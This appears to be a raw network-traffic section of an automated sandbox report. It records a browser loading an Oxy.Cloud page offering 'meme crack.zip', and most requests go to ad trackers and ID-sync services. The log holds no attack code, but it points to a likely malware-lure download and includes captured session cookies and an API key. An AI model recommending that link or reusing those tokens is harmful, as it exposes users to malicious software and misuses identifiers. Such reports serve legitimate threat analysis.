Source: global traffic	HTTP traffic detected: GET /sm/stat?uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=80&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1Host: ogffa.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=0fkciot&fmt=json HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules-p-6Fv0cGNfc_bw8.js HTTP/1.1Host: rules.quantcount.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hit?q;t52.6;r;s1280102424;uhttps%3A//oxy.st/d/SmUh;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.3200445255072193 HTTP/1.1Host: counter.yadro.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FTID=1cRLkF03JRep1cRLkF0012aS
Source: global traffic	HTTP traffic detected: GET /getuidj HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sm/stat?landID=40&nameBlock=sl0&uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=30&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1Host: ogffa.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /diff/js/modules/topicsFrameLogic.js HTTP/1.1Host: ced-ns.sascdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ced-ns.sascdn.com/diff/js/assets/topics_frame.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/rid?ttd_pid=0fkciot&fmt=json HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b
Source: global traffic	HTTP traffic detected: GET /vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Foxy.st%2Fd%2FSmUh&top=&pt=inread&_ts=1718442894727 HTTP/1.1Host: ads.adlook.meConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: adlm_userId=be95704710834e23ab1e3219ec3785b7
Source: global traffic	HTTP traffic detected: GET /hit?q;t52.6;r;s1280102424;uhttps%3A//oxy.st/d/SmUh;hDownload%20file%20meme%20crack.zip%20on%20Oxy.Cloud;0.3200445255072193 HTTP/1.1Host: counter.yadro.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FTID=1cRLkF03JRep1cRLkF0012aS; VID=3Avj3L2_2d8p1cRLkH001V8p
Source: global traffic	HTTP traffic detected: GET /d/SmUh/2/5744b8343e4600a69fa0181348e90fc8 HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7
Source: global traffic	HTTP traffic detected: GET /pixel;r=1868691333;labels=Categories.technologyandcomputing;rf=0;a=p-6Fv0cGNfc_bw8;url=https%3A%2F%2Foxy.st%2Fd%2FSmUh;uht=2;fpan=1;fpa=P0-2052007182-1718442895609;pbc=;ns=0;ce=1;qjs=1;qv=b70d35e8-20231208114759;cm=;gdpr=0;ref=;d=oxy.st;dst=1;et=1718442896704;tzo=240;ogl=;ses=d168e0ce-727e-4636-bdcb-862f8bdc25b4;mdl= HTTP/1.1Host: pixel.quantserve.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce HTTP/1.1Host: id5-sync.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuidj HTTP/1.1Host: ib.adnxs.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?user_id=dNts6306JSIF1v1xnnpjsT HTTP/1.1Host: uidsync.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/jsonAccept: /Origin: https://oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sm/stat?landID=40&nameBlock=sl0&uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=70&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1Host: ogffa.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://oxy.stSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oxy.st/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slake/asset/css/bootstrap.min.css HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /lb/v1 HTTP/1.1Host: lb.eu-1-id5-sync.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce HTTP/1.1Host: id5-sync.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: id5=bc680ce9-6de4-772b-8423-ee412e5b4326#1718442898449#1
Source: global traffic	HTTP traffic detected: GET /pixel;r=1868691333;labels=Categories.technologyandcomputing;rf=0;a=p-6Fv0cGNfc_bw8;url=https%3A%2F%2Foxy.st%2Fd%2FSmUh;uht=2;fpan=1;fpa=P0-2052007182-1718442895609;pbc=;ns=0;ce=1;qjs=1;qv=b70d35e8-20231208114759;cm=;gdpr=0;ref=;d=oxy.st;dst=1;et=1718442896704;tzo=240;ogl=;ses=d168e0ce-727e-4636-bdcb-862f8bdc25b4;mdl= HTTP/1.1Host: pixel.quantserve.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: mc=666d5b92-60e70-cef8b-92979
Source: global traffic	HTTP traffic detected: GET /fire.js?pid=12771&url=https%3A%2F%2Foxy.st%2Fd%2FSmUh&hn_ver=76&fid=ed1cb979-77d8-4804-b8d9-49acdb18efcc&dsp=TTD&dsp_uid=7a9427d7-5567-4b13-ad78-e53aa5bc8a0b HTTP/1.1Host: s.cpx.toConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /slake/asset/css/jquery.mCustomScrollbar.min.css HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /slake/asset/css/elements.css?1 HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /slake/style.css?ver=6 HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /slake/responsive.css?ver=5 HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /slake/cookie.css?ver=6 HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /sm/stat?landID=40&nameBlock=sl0&uuid=f39ede9d-9a59-4ee2-8649-1e0bfc6d884a&apiKey=b68c106c3df6f586f8cb1f48c5036112&action=70&rfr=https%3A%2F%2Foxy.st%2Fd%2FSmUh&smid=a1uebhcM HTTP/1.1Host: ogffa.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?user_id=dNts6306JSIF1v1xnnpjsT HTTP/1.1Host: uidsync.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rauid=dNts6306JSIF1v1xnnpjsT
Source: global traffic	HTTP traffic detected: GET /slake/asset/js/jquery.min.js HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /js/jquery.cookie.min.js HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /img/oxy-logo.svg HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /slake/asset/img/bg/flake-slider-header.jpg HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/slake/style.css?ver=6Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /css/cloud.css HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609
Source: global traffic	HTTP traffic detected: GET /js/download2.js HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /slake/asset/slice_white.png HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /images/sprite3.png HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /images/ltd.svg HTTP/1.1Host: download.oxy.stConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://download.oxy.st/d/SmUh/2/5744b8343e4600a69fa0181348e90fc8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
Source: global traffic	HTTP traffic detected: GET /img/oxy-logo.svg HTTP/1.1Host: download.oxy.stConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __qca=P0-2052007182-1718442895609; __b22_=1661361629
